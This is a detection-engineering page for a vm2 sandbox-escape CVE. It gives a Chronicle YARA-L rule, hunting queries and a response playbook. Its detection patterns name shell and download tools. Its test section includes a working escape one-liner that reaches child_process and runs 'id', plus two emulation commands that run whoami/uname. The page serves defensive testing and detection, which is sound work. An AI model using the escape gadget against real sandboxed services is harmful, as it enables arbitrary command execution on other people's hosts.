Detect vm2 Sandbox Escape via child_process (CVE-2026-93605) in Google Chronicle
Detects exploitation of a critical sandbox escape in the npm package vm2 (<= 3.12.0). vm2 is a widely-used library for running untrusted JavaScript in a sandboxed Node.js context. Due to improper enforcement of the host-process isolation boundary (CWE-693 protection mechanism failure, CWE-913 improper control of dynamically-managed code resources), an attacker who can supply code to the sandbox can escape it and reach host primitives such as the Node.js 'child_process' module, achieving arbitrary command execution on the host. This detection surfaces runtime indicators of a successful escape: Node.js processes that load vm2 spawning unexpected child processes (shells, interpreters, reconnaissance binaries), and vulnerable vm2 versions present in the environment.
MITRE ATT&CK
- Tactic
- Execution Privilege Escalation
YARA-L Detection Query
rule vm2_sandbox_escape_child_process {
meta:
author = "Argus"
description = "vm2 sandbox escape (CVE-2026-93605): node process spawning shell/recon child with vm2 in command line"
severity = "CRITICAL"
events:
$e.metadata.event_type = "PROCESS_LAUNCH"
re.regex($e.principal.process.parent_process.file.full_path, `(?i)node(\.exe)?$`)
$e.target.process.file.full_path = /(?i)(cmd\.exe|powershell\.exe|pwsh\.exe|bash|sh|whoami\.exe|net\.exe|curl\.exe|certutil\.exe)$/
re.regex($e.principal.process.command_line, `(?i)(vm2|NodeVM|node_modules)`)
condition:
$e
} Chronicle YARA-L rule matching a node parent launching a shell or recon binary where the parent command line references vm2.
Data Sources
Required Tables
False Positives & Tuning
- Legitimate vm2-based Node services spawning child processes.
- CI/CD build nodes.
- Developer test harnesses executing vm2 samples.
Other platforms for CVE-2026-93605
Testing Methodology
Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.
- Test 1vm2 sandbox escape to child_process (lab)
Expected signal: Process creation event: node parent spawning /bin/sh or id with a command line referencing vm2/node_modules.
- Test 2Simulated vm2 escape spawning shell (Windows)
Expected signal: DeviceProcessEvents: node.exe spawning cmd.exe/whoami.exe with vm2 reference in the initiating command line.
- Test 3vm2 escape reconnaissance command (macOS)
Expected signal: Process launch: node parent spawning sh running whoami/id/uname.
Response Playbook
Triage
- Confirm the parent node process is running an application that embeds vm2 and determine whether it processes untrusted/user-supplied JavaScript (the exploitation prerequisite).
- Inspect the spawned child process command line for signs of hands-on-keyboard activity (recon, download, reverse shell) versus a benign build/orchestration task.
- Check the installed vm2 version on the host: `npm ls vm2` or inspect node_modules/vm2/package.json — versions <= 3.12.0 are vulnerable, 3.12.1 is fixed.
- Correlate the timestamp with inbound requests to the service that feeds code into the vm2 sandbox (web request logs, job submissions).
Containment
- Isolate the affected host from the network to stop further command execution or lateral movement from the compromised Node process.
- Stop or restart the affected Node.js service and block the upstream input vector (e.g., disable the endpoint that accepts untrusted scripts) until vm2 is patched.
- Kill the spawned child processes and any persistence they established.
Evidence Collection
- Capture the full process tree (node -> child) with command lines, parent command line, and loaded modules.
- Preserve the Node application logs and the untrusted script/payload that was submitted to the vm2 sandbox.
- Snapshot node_modules/vm2 contents and package-lock.json to record the exact vulnerable version in use.
Escalation Criteria
- !Escalate to IR if the child process performed network egress, credential access, or spawned additional processes beyond a single benign command.
- !Escalate if the vulnerable vm2 version is confirmed AND the application accepts untrusted input, indicating a live, exploitable exposure.
Investigation Guide
Related Techniques
Forensic Artifacts
- >
Process creation events (Sysmon EID 1 / auditd execve) showing node parent and shell/recon child. - >
node_modules/vm2/package.json version string on disk. - >
Application request logs capturing the untrusted script payload.
Tuning Guidance
Build an allowlist of known Node applications that legitimately use vm2 and spawn child processes (build tooling, job runners) and exclude them by host/service. Tighten the child-process list to high-signal binaries (shells, curl, certutil, net) in environments with heavy benign Node subprocess usage. Combine with an inventory check for vm2 <= 3.12.0 to prioritize hosts with the vulnerable version actually installed.
Hunting Queries
Baselines node processes that spawn shells so analysts can spot anomalous escape activity against normal application behavior.
DeviceProcessEvents | where InitiatingProcessFileName in~ ("node.exe","node") | where FileName in~ ("cmd.exe","powershell.exe","bash","sh") | summarize count() by DeviceName, InitiatingProcessCommandLine, FileName | order by count_ desc index=* (sourcetype="WinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=1) parent_process_name=node* process_name IN ("cmd.exe","powershell.exe","bash","sh") | stats count by host, parent_process, process_name Atomic Red Team Tests
Uses a known vm2 <= 3.12.0 escape gadget to break out of the NodeVM sandbox and execute an OS command via child_process.
Command
node -e "const {NodeVM}=require('vm2'); const vm=new NodeVM(); vm.run(\"const e=require('events'); const p=e.prototype; Object.defineProperty(p,'constructor',{}); throw new Proxy({}, {getPrototypeOf(){ require('child_process').execSync('id > /tmp/vm2_escape_poc'); return Object.prototype; }});\", 'exploit.js');" Cleanup
rm -f /tmp/vm2_escape_poc Expected Telemetry
Process creation event: node parent spawning /bin/sh or id with a command line referencing vm2/node_modules.
Expected Detection
KQL/SPL rule fires on node-parented shell/recon spawn with vm2 in the parent command line.
Runs a node one-liner that loads a vm2-like module path and spawns cmd.exe to emulate the escape telemetry on Windows.
Command
node -e "const cp=require('child_process'); console.log('vm2 NodeVM node_modules'); cp.execSync('cmd.exe /c whoami');" Cleanup
echo no cleanup required Expected Telemetry
DeviceProcessEvents: node.exe spawning cmd.exe/whoami.exe with vm2 reference in the initiating command line.
Expected Detection
Detection matches node.exe parent launching cmd.exe/whoami.exe with vm2 in command line.
Emulates post-escape reconnaissance by having a node process spawn a shell that runs system recon, with a vm2 reference in the invocation.
Command
node -e "const cp=require('child_process'); console.log('vm2 NodeVM via node_modules'); cp.execSync('sh -c \"whoami; id; uname -a\"');" Cleanup
echo no cleanup required Expected Telemetry
Process launch: node parent spawning sh running whoami/id/uname.
Expected Detection
Rule fires on node-parented sh spawn with vm2 reference and recon commands.